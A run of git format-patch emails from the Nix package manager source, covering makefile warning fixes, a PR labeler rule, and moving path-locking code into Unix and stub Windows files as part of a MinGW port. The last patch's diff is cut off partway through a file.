0471/1251] local.mk: Solve warnings local.mk:5: warning: overriding recipe for target 'outputs/dev/include/nix/nix_api_expr.h' local.mk:5: warning: ignoring old recipe for target 'outputs/dev/include/nix/nix_api_expr.h' local.mk:5: warning: overriding recipe for target 'outputs/dev/include/nix/nix_api_external.h' local.mk:5: warning: ignoring old recipe for target 'outputs/dev/include/nix/nix_api_external.h' local.mk:5: warning: overriding recipe for target 'outputs/dev/include/nix/nix_api_value.h' local.mk:5: warning: ignoring old recipe for target 'outputs/dev/include/nix/nix_api_value.h' local.mk:5: warning: overriding recipe for target 'outputs/dev/include/nix/nix_api_store.h' local.mk:5: warning: ignoring old recipe for target 'outputs/dev/include/nix/nix_api_store.h' local.mk:5: warning: overriding recipe for target 'outputs/dev/include/nix/nix_api_util.h' local.mk:5: warning: ignoring old recipe for target 'outputs/dev/include/nix/nix_api_util.h' --- local.mk | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/local.mk b/local.mk index 67ec35dcd..b27c7031e 100644 --- a/local.mk +++ b/local.mk @@ -2,7 +2,7 @@ GLOBAL_CXXFLAGS += -Wno-deprecated-declarations -Werror=switch # Allow switch-enum to be overridden for files that do not support it, usually because of dependency headers. ERROR_SWITCH_ENUM = -Werror=switch-enum -$(foreach i, config.h $(wildcard src/lib*/*.hh) $(wildcard src/lib*/*.h $(filter-out %_internal.h, $(wildcard src/lib*c/*.h))), \ +$(foreach i, config.h $(wildcard src/lib*/*.hh) $(filter-out %_internal.h, $(wildcard src/lib*c/*.h)), \ $(eval $(call install-file-in, $(i), $(includedir)/nix, 0644))) ifdef HOST_UNIX From d42a2643b0de67c97449f05607f696c86015f0ed Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Wed, 17 Apr 2024 16:11:03 +0200 Subject: [PATCH 0472/1251] Auto label C API PRs --- .github/labeler.yml | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/.github/labeler.yml b/.github/labeler.yml index 280265dbe..e036eb3c8 100644 --- a/.github/labeler.yml +++ b/.github/labeler.yml @@ -1,3 +1,9 @@ +"c api": + - changed-files: + - any-glob-to-any-file: "src/lib*-c/**/*" + - any-glob-to-any-file: "test/unit/**/nix_api_*" + - any-glob-to-any-file: "doc/external-api/**/*" + "contributor-experience": - changed-files: - any-glob-to-any-file: "CONTRIBUTING.md" From dd19cce9c423192b79ef26b3f57418f7678bbff9 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 17 Apr 2024 17:17:59 +0200 Subject: [PATCH 0473/1251] doc/external-api/local.mk: Rebuild when headers change --- doc/external-api/local.mk | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/external-api/local.mk b/doc/external-api/local.mk index c739bdaf0..ae2b44db8 100644 --- a/doc/external-api/local.mk +++ b/doc/external-api/local.mk @@ -1,4 +1,4 @@ -$(docdir)/external-api/html/index.html $(docdir)/external-api/latex: $(d)/doxygen.cfg +$(docdir)/external-api/html/index.html $(docdir)/external-api/latex: $(d)/doxygen.cfg src/lib*-c/*.h mkdir -p $(docdir)/external-api { cat $< ; echo "OUTPUT_DIRECTORY=$(docdir)/external-api" ; } | doxygen - From 0fade05e96229358192cd2b0c54895655d5bf70a Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 17 Apr 2024 17:28:30 +0200 Subject: [PATCH 0474/1251] doc/internal-api/local.mk: Rebuild when headers change --- doc/internal-api/local.mk | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/internal-api/local.mk b/doc/internal-api/local.mk index bf2c4dede..be9b7bb55 100644 --- a/doc/internal-api/local.mk +++ b/doc/internal-api/local.mk @@ -1,4 +1,4 @@ -$(docdir)/internal-api/html/index.html $(docdir)/internal-api/latex: $(d)/doxygen.cfg +$(docdir)/internal-api/html/index.html $(docdir)/internal-api/latex: $(d)/doxygen.cfg src/**/*.hh mkdir -p $(docdir)/internal-api { cat $< ; echo "OUTPUT_DIRECTORY=$(docdir)/internal-api" ; } | doxygen - From 05b9dac7547009821f4a698b139a49d5d1e4bc9e Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 17 Apr 2024 11:47:07 -0400 Subject: [PATCH 0475/1251] Fix friend `struct`/`class` mismatch warning --- src/libexpr/attr-set.hh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libexpr/attr-set.hh b/src/libexpr/attr-set.hh index c90bb0633..ba798196d 100644 --- a/src/libexpr/attr-set.hh +++ b/src/libexpr/attr-set.hh @@ -189,7 +189,7 @@ public: bindings = newBindings; } - friend class ExprAttrs; + friend struct ExprAttrs; }; } From 2248a3f5451adf6c098fc871fb61fae6cc2b5979 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 17 Apr 2024 11:34:09 -0400 Subject: [PATCH 0476/1251] Create no-op Window pathlocks implementation This keeps the call sites simple, eventually this should be filled in. --- src/build-remote/build-remote.cc | 1 + src/libstore/gc.cc | 1 + src/libstore/local-store.cc | 2 + src/libstore/local.mk | 3 + src/libstore/lock.cc | 2 + src/libstore/pathlocks.cc | 152 ----------------------- src/libstore/pathlocks.hh | 32 +---- src/libstore/unix/pathlocks-impl.hh | 38 ++++++ src/libstore/unix/pathlocks.cc | 165 +++++++++++++++++++++++++ src/libstore/windows/pathlocks-impl.hh | 2 + src/libstore/windows/pathlocks.cc | 16 +++ 11 files changed, 232 insertions(+), 182 deletions(-) create mode 100644 src/libstore/unix/pathlocks-impl.hh create mode 100644 src/libstore/unix/pathlocks.cc create mode 100644 src/libstore/windows/pathlocks-impl.hh create mode 100644 src/libstore/windows/pathlocks.cc diff --git a/src/build-remote/build-remote.cc b/src/build-remote/build-remote.cc index 18eee830b..2a4723643 100644 --- a/src/build-remote/build-remote.cc +++ b/src/build-remote/build-remote.cc @@ -22,6 +22,7 @@ #include "experimental-features.hh" using namespace nix; +using namespace nix::unix; using std::cin; static void handleAlarm(int sig) { diff --git a/src/libstore/gc.cc b/src/libstore/gc.cc index 88e943263..9b2e6d525 100644 --- a/src/libstore/gc.cc +++ b/src/libstore/gc.cc @@ -29,6 +29,7 @@ namespace nix { +using namespace nix::unix; static std::string gcSocketPath = "/gc-socket/socket"; static std::string gcRootsDir = "gcroots"; diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index a32b349a1..1593affd6 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -52,6 +52,8 @@ namespace nix { +using namespace nix::unix; + std::string LocalStoreConfig::doc() { return diff --git a/src/libstore/local.mk b/src/libstore/local.mk index ccb7aeee2..0a91fce4b 100644 --- a/src/libstore/local.mk +++ b/src/libstore/local.mk @@ -36,6 +36,9 @@ INCLUDE_libstore := -I $(d) -I $(d)/build ifdef HOST_UNIX INCLUDE_libstore += -I $(d)/unix endif +ifdef HOST_WINDOWS + INCLUDE_libstore += -I $(d)/windows +endif libstore_CXXFLAGS += \ $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libstore) \ diff --git a/src/libstore/lock.cc b/src/libstore/lock.cc index 023c74e34..fd7af171f 100644 --- a/src/libstore/lock.cc +++ b/src/libstore/lock.cc @@ -9,6 +9,8 @@ namespace nix { +using namespace nix::unix; + #if __linux__ static std::vector get_group_list(const char *username, gid_t group_id) diff --git a/src/libstore/pathlocks.cc b/src/libstore/pathlocks.cc index 2b5b8dfe7..37793db5b 100644 --- a/src/libstore/pathlocks.cc +++ b/src/libstore/pathlocks.cc @@ -6,69 +6,9 @@ #include #include -#include -#include -#include -#include - namespace nix { - -AutoCloseFD openLockFile(const Path & path, bool create) -{ - AutoCloseFD fd; - - fd = open(path.c_str(), O_CLOEXEC | O_RDWR | (create ? O_CREAT : 0), 0600); - if (!fd && (create || errno != ENOENT)) - throw SysError("opening lock file '%1%'", path); - - return fd; -} - - -void deleteLockFile(const Path & path, int fd) -{ - /* Get rid of the lock file. Have to be careful not to introduce - races. Write a (meaningless) token to the file to indicate to - other processes waiting on this lock that the lock is stale - (deleted). */ - unlink(path.c_str()); - writeFull(fd, "d"); - /* Note that the result of unlink() is ignored; removing the lock - file is an optimisation, not a necessity. */ -} - - -bool lockFile(int fd, LockType lockType, bool wait) -{ - int type; - if (lockType == ltRead) type = LOCK_SH; - else if (lockType == ltWrite) type = LOCK_EX; - else if (lockType == ltNone) type = LOCK_UN; - else abort(); - - if (wait) { - while (flock(fd, type) != 0) { - checkInterrupt(); - if (errno != EINTR) - throw SysError("acquiring/releasing lock"); - else - return false; - } - } else { - while (flock(fd, type | LOCK_NB) != 0) { - checkInterrupt(); - if (errno == EWOULDBLOCK) return false; - if (errno != EINTR) - throw SysError("acquiring/releasing lock"); - } - } - - return true; -} - - PathLocks::PathLocks() : deletePaths(false) { @@ -82,68 +22,6 @@ PathLocks::PathLocks(const PathSet & paths, const std::string & waitMsg) } -bool PathLocks::lockPaths(const PathSet & paths, - const std::string & waitMsg, bool wait) -{ - assert(fds.empty()); - - /* Note that `fds' is built incrementally so that the destructor - will only release those locks that we have already acquired. */ - - /* Acquire the lock for each path in sorted order. This ensures - that locks are always acquired in the same order, thus - preventing deadlocks. */ - for (auto & path : paths) { - checkInterrupt(); - Path lockPath = path + ".lock"; - - debug("locking path '%1%'", path); - - AutoCloseFD fd; - - while (1) { - - /* Open/create the lock file. */ - fd = openLockFile(lockPath, true); - - /* Acquire an exclusive lock. */ - if (!lockFile(fd.get(), ltWrite, false)) { - if (wait) { - if (waitMsg != "") printError(waitMsg); - lockFile(fd.get(), ltWrite, true); - } else { - /* Failed to lock this path; release all other - locks. */ - unlock(); - return false; - } - } - - debug("lock acquired on '%1%'", lockPath); - - /* Check that the lock file hasn't become stale (i.e., - hasn't been unlinked). */ - struct stat st; - if (fstat(fd.get(), &st) == -1) - throw SysError("statting lock file '%1%'", lockPath); - if (st.st_size != 0) - /* This lock file has been unlinked, so we're holding - a lock on a deleted file. This means that other - processes may create and acquire a lock on - `lockPath', and proceed. So we must retry. */ - debug("open lock file '%1%' has become stale", lockPath); - else - break; - } - - /* Use borrow so that the descriptor isn't closed. */ - fds.push_back(FDPair(fd.release(), lockPath)); - } - - return true; -} - - PathLocks::~PathLocks() { try { @@ -154,40 +32,10 @@ PathLocks::~PathLocks() } -void PathLocks::unlock() -{ - for (auto & i : fds) { - if (deletePaths) deleteLockFile(i.second, i.first); - - if (close(i.first) == -1) - printError( - "error (ignored): cannot close lock file on '%1%'", - i.second); - - debug("lock released on '%1%'", i.second); - } - - fds.clear(); -} - - void PathLocks::setDeletion(bool deletePaths) { this->deletePaths = deletePaths; } -FdLock::FdLock(int fd, LockType lockType, bool wait, std::string_view waitMsg) - : fd(fd) -{ - if (wait) { - if (!lockFile(fd, lockType, false)) { - printInfo("%s", waitMsg); - acquired = lockFile(fd, lockType, true); - } - } else - acquired = lockFile(fd, lockType, false); -} - - } diff --git a/src/libstore/pathlocks.hh b/src/libstore/pathlocks.hh index 7fcfa2e40..b97fbecb9 100644 --- a/src/libstore/pathlocks.hh +++ b/src/libstore/pathlocks.hh @@ -5,22 +5,6 @@ namespace nix { -/** - * Open (possibly create) a lock file and return the file descriptor. - * -1 is returned if create is false and the lock could not be opened - * because it doesn't exist. Any other error throws an exception. - */ -AutoCloseFD openLockFile(const Path & path, bool create); - -/** - * Delete an open lock file. - */ -void deleteLockFile(const Path & path, int fd); - -enum LockType { ltRead, ltWrite, ltNone }; - -bool lockFile(int fd, LockType lockType, bool wait); - class PathLocks { private: @@ -40,18 +24,6 @@ public: void setDeletion(bool deletePaths); }; -struct FdLock -{ - int fd; - bool acquired = false; - - FdLock(int fd, LockType lockType, bool wait, std::string_view waitMsg); - - ~FdLock() - { - if (acquired) - lockFile(fd, ltNone, false); - } -}; - } + +#include "pathlocks-impl.hh" diff --git a/src/libstore/unix/pathlocks-impl.hh b/src/libstore/unix/pathlocks-impl.hh new file mode 100644 index 000000000..31fe968bb --- /dev/null +++ b/src/libstore/unix/pathlocks-impl.hh @@ -0,0 +1,38 @@ +#pragma once +///@file + +#include "file-descriptor.hh" + +namespace nix::unix { + +/** + * Open (possibly create) a lock file and return the file descriptor. + * -1 is returned if create is false and the lock could not be opened + * because it doesn't exist. Any other error throws an exception. + */ +AutoCloseFD openLockFile(const Path & path, bool create); + +/** + * Delete an open lock file. + */ +void deleteLockFile(const Path & path, int fd); + +enum LockType { ltRead, ltWrite, ltNone }; + +bool lockFile(int fd, LockType lockType, bool wait); + +struct FdLock +{ + int fd; + bool acquired = false; + + FdLock(int fd, LockType lockType, bool wait, std::string_view waitMsg); + + ~FdLock() + { + if (acquired) + lockFile(fd, ltNone, false); + } +}; + +} diff --git a/src/libstore/unix/pathlocks.cc b/src/libstore/unix/pathlocks.cc new file mode 100644 index 000000000..32c1b9ff4 --- /dev/null +++ b/src/libstore/unix/pathlocks.cc @@ -0,0 +1,165 @@ +#include "pathlocks.hh" +#include "util.hh" +#include "sync.hh" +#include "signals.hh" + +#include +#include + +#include +#include +#include +#include + + +namespace nix { + +using namespace nix::unix; + +AutoCloseFD unix::openLockFile(const Path & path, bool create) +{ + AutoCloseFD fd; + + fd = open(path.c_str(), O_CLOEXEC | O_RDWR | (create ? O_CREAT : 0), 0600); + if (!fd && (create || errno != ENOENT)) + throw SysError("opening lock file '%1%'", path); + + return fd; +} + + +void unix::deleteLockFile(const Path & path, int fd) +{ + /* Get rid of the lock file. Have to be careful not to introduce + races. Write a (meaningless) token to the file to indicate to + other processes waiting on this lock that the lock is stale + (deleted). */ + unlink(path.c_str()); + writeFull(fd, "d"); + /* Note that the result of unlink() is ignored; removing the lock + file is an optimisation, not a necessity. */ +} + + +bool unix::lockFile(int fd, LockType lockType, bool wait) +{ + int type; + if (lockType == ltRead) type = LOCK_SH; + else if (lockType == ltWrite) type = LOCK_EX; + else if (lockType == ltNone) type = LOCK_UN; + else abort(); + + if (wait) { + while (flock(fd, type) != 0) { + checkInterrupt(); + if (errno != EINTR) + throw SysError("acquiring/releasing lock"); + else + return false; + } + } else { + while (flock(fd, type | LOCK_NB) != 0) { + checkInterrupt(); + if (errno == EWOULDBLOCK) return false; + if (errno != EINTR) + throw SysError("acquiring/releasing lock"); + } + } + + return true; +} + + +bool PathLocks::lockPaths(const PathSet & paths, + const std::string & waitMsg, bool wait) +{ + assert(fds.empty()); + + /* Note that `fds' is built incrementally so that the destructor + will only release those locks that we have already acquired. */ + + /* Acquire the lock for each path in sorted order. This ensures + that locks are always acquired in the same order, thus + preventing deadlocks. */ + for (auto & path : paths) { + checkInterrupt(); + Path lockPath = path + ".lock"; + + debug("locking path '%1%'", path); + + AutoCloseFD fd; + + while (1) { + + /* Open/create the lock file. */ + fd = openLockFile(lockPath, true); + + /* Acquire an exclusive lock. */ + if (!lockFile(fd.get(), ltWrite, false)) { + if (wait) { + if (waitMsg != "") printError(waitMsg); + lockFile(fd.get(), ltWrite, true); + } else { + /* Failed to lock this path; release all other + locks. */ + unlock(); + return false; + } + } + + debug("lock acquired on '%1%'", lockPath); + + /* Check that the lock file hasn't become stale (i.e., + hasn't been unlinked). */ + struct stat st; + if (fstat(fd.get(), &st) == -1) + throw SysError("statting lock file '%1%'", lockPath); + if (st.st_size != 0) + /* This lock file has been unlinked, so we're holding + a lock on a deleted file. This means that other + processes may create and acquire a lock on + `lockPath', and proceed. So we must retry. */ + debug("open lock file '%1%' has become stale", lockPath); + else + break; + } + + /* Use borrow so that the descriptor isn't closed. */ + fds.push_back(FDPair(fd.release(), lockPath)); + } + + return true; +} + + +void PathLocks::unlock() +{ + for (auto & i : fds) { + if (deletePaths) deleteLockFile(i.second, i.first); + + if (close(i.first) == -1) + printError( + "error (ignored): cannot close lock file on '%1%'", + i.second); + + debug("lock released on '%1%'", i.second); + } + + fds.clear(); +} + + +FdLock::FdLock(int fd, LockType lockType, bool wait, std::string_view waitMsg) + : fd(fd) +{ + if (wait) { + if (!lockFile(fd, lockType, false)) { + printInfo("%s", waitMsg); + acquired = lockFile(fd, lockType, true); + } + } else + acquired = lockFile(fd, lockType, false); +} + + +} diff --git a/src/libstore/windows/pathlocks-impl.hh b/src/libstore/windows/pathlocks-impl.hh new file mode 100644 index 000000000..ba3ad28d9 --- /dev/null +++ b/src/libstore/windows/pathlocks-impl.hh @@ -0,0 +1,2 @@ +#pragma once +///@file Needed because Unix-specific counterpart diff --git a/src/libstore/windows/pathlocks.cc b/src/libstore/windows/pathlocks.cc new file mode 100644 index 000000000..ab4294c2a --- /dev/null +++ b/src/libstore/windows/pathlocks.cc @@ -0,0 +1,16 @@ +#include "logging.hh" +#include "pathlocks.hh" + +namespace nix { + +bool PathLocks::lockPaths(const PathSet & _paths, const std::string & waitMsg, bool wait) +{ + return true; +} + +void PathLocks::unlock() +{ + warn("PathLocks::unlock: not yet implemented"); +} + +} From 8433027e353b03bcbf36fae180394aaf8a21a19b Mon Sep 17 00:00:00 2001 From: John Ericson Date: Sat, 2 Sep 2023 17:35:16 -0400 Subject: [PATCH 0477/1251] Build a minimized Nix with MinGW At this point many features are stripped out, but this works: - Can run libnix{util,store,expr} unit tests - Can run some Nix commands Co-Authored-By volth Co-Authored-By Brian McKenna --- Makefile | 12 +- m4/gcc_bug_80431.m4 | 8 +- precompiled-headers.h | 21 +-- src/libcmd/common-eval-args.cc | 2 +- src/libcmd/markdown.cc | 4 +- src/libcmd/repl-interacter.cc | 4 + src/libexpr/eval.cc | 10 +- src/libexpr/eval.hh | 2 + src/libexpr/primops.cc | 11 +- src/libexpr/search-path.hh | 3 + src/libfetchers/fs-input-accessor.cc | 2 +- src/libfetchers/git-utils.cc | 16 +- src/libmain/shared.cc | 15 ++ src/libmain/shared.hh | 7 +- src/libmain/{ => unix}/stack.cc | 0 src/libstore/builtins/buildenv.cc | 6 +- src/libstore/daemon.cc | 7 +- src/libstore/filetransfer.cc | 12 ++ src/libstore/globals.cc | 17 +- src/libstore/globals.hh | 2 + src/libstore/local.mk | 17 +- src/libstore/misc.cc | 1 - src/libstore/profiles.hh | 1 + src/libstore/remote-fs-accessor.cc | 8 +- src/libstore/ssh.cc | 16 +- src/libstore/ssh.hh | 10 +- src/libstore/store-api.cc | 21 ++- src/libstore/{ => unix}/build/child.cc | 0 src/libstore/{ => unix}/build/child.hh | 0 .../{ => unix}/build/derivation-goal.cc | 0 .../{ => unix}/build/derivation-goal.hh | 0 .../build/drv-output-substitution-goal.cc | 0 .../build/drv-output-substitution-goal.hh | 0 src/libstore/{ => unix}/build/entry-points.cc | 0 src/libstore/{ => unix}/build/goal.cc | 0 src/libstore/{ => unix}/build/goal.hh | 0 .../{ => unix}/build/hook-instance.cc | 0 .../{ => unix}/build/hook-instance.hh | 0 .../{ => unix}/build/local-derivation-goal.cc | 0 .../{ => unix}/build/local-derivation-goal.hh | 0 src/libstore/{ => unix}/build/personality.cc | 0 src/libstore/{ => unix}/build/personality.hh | 0 .../{ => unix}/build/sandbox-defaults.sb | 0 .../{ => unix}/build/sandbox-minimal.sb | 0 .../{ => unix}/build/sandbox-network.sb | 0 .../{ => unix}/build/substitution-goal.cc | 0 .../{ => unix}/build/substitution-goal.hh | 0 src/libstore/{ => unix}/build/worker.cc | 0 src/libstore/{ => unix}/build/worker.hh | 0 src/libstore/{ => unix}/builtins/fetchurl.cc | 0 .../{ => unix}/builtins/unpack-channel.cc | 0 .../{ => unix}/ca-specific-schema.sql | 0 src/libstore/{ => unix}/gc.cc | 0 .../{ => unix}/local-overlay-store.cc | 0 .../{ => unix}/local-overlay-store.hh | 0 .../{ => unix}/local-overlay-store.md | 0 src/libstore/{ => unix}/local-store.cc | 0 src/libstore/{ => unix}/local-store.hh | 0 src/libstore/{ => unix}/local-store.md | 0 src/libstore/{ => unix}/lock.cc | 0 src/libstore/{ => unix}/lock.hh | 0 src/libstore/{ => unix}/optimise-store.cc | 0 .../{ => unix}/posix-fs-canonicalise.cc | 0 .../{ => unix}/posix-fs-canonicalise.hh | 0 src/libstore/{ => unix}/schema.sql | 0 src/libstore/{ => unix}/uds-remote-store.cc | 0 src/libstore/{ => unix}/uds-remote-store.hh | 0 src/libstore/{ => unix}/uds-remote-store.md | 0 src/libstore/windows/build.cc | 37 +++++ src/libutil/args.cc | 6 +- src/libutil/current-process.cc | 10 +- src/libutil/current-process.hh | 9 +- src/libutil/environment-variables.hh | 7 + src/libutil/error.hh | 17 ++ src/libutil/file-descriptor.cc | 27 +++- src/libutil/file-descriptor.hh | 60 ++++++- src/libutil/file-path.hh | 52 ++++++ src/libutil/file-system.cc | 109 ++++++++++--- src/libutil/file-system.hh | 14 ++ src/libutil/fs-sink.cc | 31 +++- src/libutil/local.mk | 6 + src/libutil/logging.cc | 19 ++- src/libutil/posix-source-accessor.cc | 28 ++-- src/libutil/{unix => }/processes.hh | 12 +- src/libutil/serialise.cc | 14 ++ src/libutil/terminal.cc | 9 +- src/libutil/terminal.hh | 4 + src/libutil/thread-pool.cc | 2 + src/libutil/unix/file-path.cc | 31 ++++ src/libutil/users.hh | 8 +- src/libutil/windows/environment-variables.cc | 17 ++ src/libutil/windows/file-descriptor.cc | 148 ++++++++++++++++++ src/libutil/windows/file-path.cc | 52 ++++++ src/libutil/windows/processes.cc | 48 ++++++ src/libutil/windows/signals-impl.hh | 41 +++++ src/libutil/windows/users.cc | 50 ++++++ src/libutil/windows/windows-error.cc | 31 ++++ src/libutil/windows/windows-error.hh | 51 ++++++ src/nix-env/nix-env.cc | 10 +- src/nix-instantiate/nix-instantiate.cc | 2 +- src/nix-store/nix-store.cc | 29 +++- src/nix/cat.cc | 3 +- src/nix/develop.cc | 9 +- src/nix/dump-path.cc | 4 +- src/nix/eval.cc | 8 +- src/nix/local.mk | 12 +- src/nix/log.cc | 2 +- src/nix/main.cc | 30 +++- src/nix/prefetch.cc | 2 +- src/nix/sigs.cc | 4 +- tests/unit/libutil/tests.cc | 2 + 111 files changed, 1162 insertions(+), 140 deletions(-) rename src/libmain/{ => unix}/stack.cc (100%) rename src/libstore/{ => unix}/build/child.cc (100%) rename src/libstore/{ => unix}/build/child.hh (100%) rename src/libstore/{ => unix}/build/derivation-goal.cc (100%) rename src/libstore/{ => unix}/build/derivation-goal.hh (100%) rename src/libstore/{ => unix}/build/drv-output-substitution-goal.cc (100%) rename src/libstore/{ => unix}/build/drv-output-substitution-goal.hh (100%) rename src/libstore/{ => unix}/build/entry-points.cc (100%) rename src/libstore/{ => unix}/build/goal.cc (100%) rename src/libstore/{ => unix}/build/goal.hh (100%) rename src/libstore/{ => unix}/build/hook-instance.cc (100%) rename src/libstore/{ => unix}/build/hook-instance.hh (100%) rename src/libstore/{ => unix}/build/local-derivation-goal.cc (100%) rename src/libstore/{ => unix}/build/local-derivation-goal.hh (100%) rename src/libstore/{ => unix}/build/personality.cc (100%) rename src/libstore/{ => unix}/build/personality.hh (100%) rename src/libstore/{ => unix}/build/sandbox-defaults.sb (100%) rename src/libstore/{ => unix}/build/sandbox-minimal.sb (100%) rename src/libstore/{ => unix}/build/sandbox-network.sb (100%) rename src/libstore/{ => unix}/build/substitution-goal.cc (100%) rename src/libstore/{ => unix}/build/substitution-goal.hh (100%) rename src/libstore/{ => unix}/build/worker.cc (100%) rename src/libstore/{ => unix}/build/worker.hh (100%) rename src/libstore/{ => unix}/builtins/fetchurl.cc (100%) rename src/libstore/{ => unix}/builtins/unpack-channel.cc (100%) rename src/libstore/{ => unix}/ca-specific-schema.sql (100%) rename src/libstore/{ => unix}/gc.cc (100%) rename src/libstore/{ => unix}/local-overlay-store.cc (100%) rename src/libstore/{ => unix}/local-overlay-store.hh (100%) rename src/libstore/{ => unix}/local-overlay-store.md (100%) rename src/libstore/{ => unix}/local-store.cc (100%) rename src/libstore/{ => unix}/local-store.hh (100%) rename src/libstore/{ => unix}/local-store.md (100%) rename src/libstore/{ => unix}/lock.cc (100%) rename src/libstore/{ => unix}/lock.hh (100%) rename src/libstore/{ => unix}/optimise-store.cc (100%) rename src/libstore/{ => unix}/posix-fs-canonicalise.cc (100%) rename src/libstore/{ => unix}/posix-fs-canonicalise.hh (100%) rename src/libstore/{ => unix}/schema.sql (100%) rename src/libstore/{ => unix}/uds-remote-store.cc (100%) rename src/libstore/{ => unix}/uds-remote-store.hh (100%) rename src/libstore/{ => unix}/uds-remote-store.md (100%) create mode 100644 src/libstore/windows/build.cc create mode 100644 src/libutil/file-path.hh rename src/libutil/{unix => }/processes.hh (95%) create mode 100644 src/libutil/unix/file-path.cc create mode 100644 src/libutil/windows/environment-variables.cc create mode 100644 src/libutil/windows/file-descriptor.cc create mode 100644 src/libutil/windows/file-path.cc create mode 100644 src/libutil/windows/processes.cc create mode 100644 src/libutil/windows/signals-impl.hh create mode 100644 src/libutil/windows/users.cc create mode 100644 src/libutil/windows/windows-error.cc create mode 100644 src/libutil/windows/windows-error.hh diff --git a/Makefile b/Makefile index 0028c957a..ba5a6cd92 100644 --- a/Makefile +++ b/Makefile @@ -7,6 +7,8 @@ clean-files += $(buildprefix)Makefile.config # List makefiles +include mk/platform.mk + ifeq ($(ENABLE_BUILD), yes) makefiles = \ mk/precompiled-headers.mk \ @@ -20,7 +22,10 @@ makefiles = \ src/nix/local.mk \ src/libutil-c/local.mk \ src/libstore-c/local.mk \ - src/libexpr-c/local.mk \ + src/libexpr-c/local.mk + +ifdef HOST_UNIX +makefiles += \ scripts/local.mk \ misc/bash/local.mk \ misc/fish/local.mk \ @@ -29,6 +34,7 @@ makefiles = \ misc/launchd/local.mk \ misc/upstart/local.mk endif +endif ifeq ($(ENABLE_UNIT_TESTS), yes) makefiles += \ @@ -42,6 +48,7 @@ makefiles += \ endif ifeq ($(ENABLE_FUNCTIONAL_TESTS), yes) +ifdef HOST_UNIX makefiles += \ tests/functional/local.mk \ tests/functional/ca/local.mk \ @@ -51,6 +58,7 @@ makefiles += \ tests/functional/test-libstoreconsumer/local.mk \ tests/functional/plugins/local.mk endif +endif # Some makefiles require access to built programs and must be included late. makefiles-late = @@ -79,8 +87,6 @@ else unexport NIX_HARDENING_ENABLE endif -include mk/platform.mk - ifdef HOST_WINDOWS # Windows DLLs are stricter about symbol visibility than Unix shared # objects --- see https://gcc.gnu.org/wiki/Visibility for details. diff --git a/m4/gcc_bug_80431.m4 b/m4/gcc_bug_80431.m4 index e42f01956..cdc4ddb40 100644 --- a/m4/gcc_bug_80431.m4 +++ b/m4/gcc_bug_80431.m4 @@ -46,11 +46,13 @@ AC_DEFUN([ENSURE_NO_GCC_BUG_80431], ]])], [status_80431=0], [status_80431=$?], - [ - # Assume we're bug-free when cross-compiling - ]) + [status_80431='']) AC_LANG_POP(C++) AS_CASE([$status_80431], + [''],[ + AC_MSG_RESULT(cannot check because cross compiling) + AC_MSG_NOTICE(assume we are bug free) + ], [0],[ AC_MSG_RESULT(yes) ], diff --git a/precompiled-headers.h b/precompiled-headers.h index f52f1cab8..e1a3f8cc0 100644 --- a/precompiled-headers.h +++ b/precompiled-headers.h @@ -42,19 +42,22 @@ #include #include #include -#include -#include -#include #include -#include -#include -#include #include #include #include -#include -#include -#include #include +#ifndef _WIN32 +# include +# include +# include +# include +# include +# include +# include +# include +# include +#endif + #include diff --git a/src/libcmd/common-eval-args.cc b/src/libcmd/common-eval-args.cc index b87bbbc27..c6ee0d0b2 100644 --- a/src/libcmd/common-eval-args.cc +++ b/src/libcmd/common-eval-args.cc @@ -181,7 +181,7 @@ Bindings * MixEvalArgs::getAutoArgs(EvalState & state) v->mkString(arg.s); }, [&](const AutoArgFile & arg) { - v->mkString(readFile(arg.path)); + v->mkString(readFile(arg.path.string())); }, [&](const AutoArgStdin & arg) { v->mkString(readFile(STDIN_FILENO)); diff --git a/src/libcmd/markdown.cc b/src/libcmd/markdown.cc index d62ff0d96..88c3f640b 100644 --- a/src/libcmd/markdown.cc +++ b/src/libcmd/markdown.cc @@ -3,9 +3,9 @@ #include "finally.hh" #include "terminal.hh" -#include #if HAVE_LOWDOWN -#include +# include +# include #endif namespace nix { diff --git a/src/libcmd/repl-interacter.cc b/src/libcmd/repl-interacter.cc index 3e34ecdb6..eb4361e25 100644 --- a/src/libcmd/repl-interacter.cc +++ b/src/libcmd/repl-interacter.cc @@ -137,6 +137,7 @@ static constexpr const char * promptForType(ReplPromptType promptType) bool ReadlineLikeInteracter::getLine(std::string & input, ReplPromptType promptType) { +#ifndef _WIN32 // TODO use more signals.hh for this struct sigaction act, old; sigset_t savedSignalMask, set; @@ -161,9 +162,12 @@ bool ReadlineLikeInteracter::getLine(std::string & input, ReplPromptType promptT }; setupSignals(); +#endif char * s = readline(promptForType(promptType)); Finally doFree([&]() { free(s); }); +#ifndef _WIN32 // TODO use more signals.hh for this restoreSignals(); +#endif if (g_signal_received) { g_signal_received = 0; diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index a21e1d75e..72da1c465 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -33,15 +33,17 @@ #include #include #include -#include #include #include #include -#include #include #include +#ifndef _WIN32 // TODO use portable implementation +# include +#endif + #if HAVE_BOEHMGC #define GC_INCLUDE_NEW @@ -2627,9 +2629,11 @@ void EvalState::maybePrintStats() void EvalState::printStatistics() { +#ifndef _WIN32 // TODO use portable implementation struct rusage buf; getrusage(RUSAGE_SELF, &buf); float cpuTime = buf.ru_utime.tv_sec + ((float) buf.ru_utime.tv_usec / 1000000); +#endif uint64_t bEnvs = nrEnvs * sizeof(Env) + nrValuesInEnvs * sizeof(Value *); uint64_t bLists = nrListElems * sizeof(Value *); @@ -2646,7 +2650,9 @@ void EvalState::printStatistics() if (outPath != "-") fs.open(outPath, std::fstream::out); json topObj = json::object(); +#ifndef _WIN32 // TODO implement topObj["cpuTime"] = cpuTime; +#endif topObj["envs"] 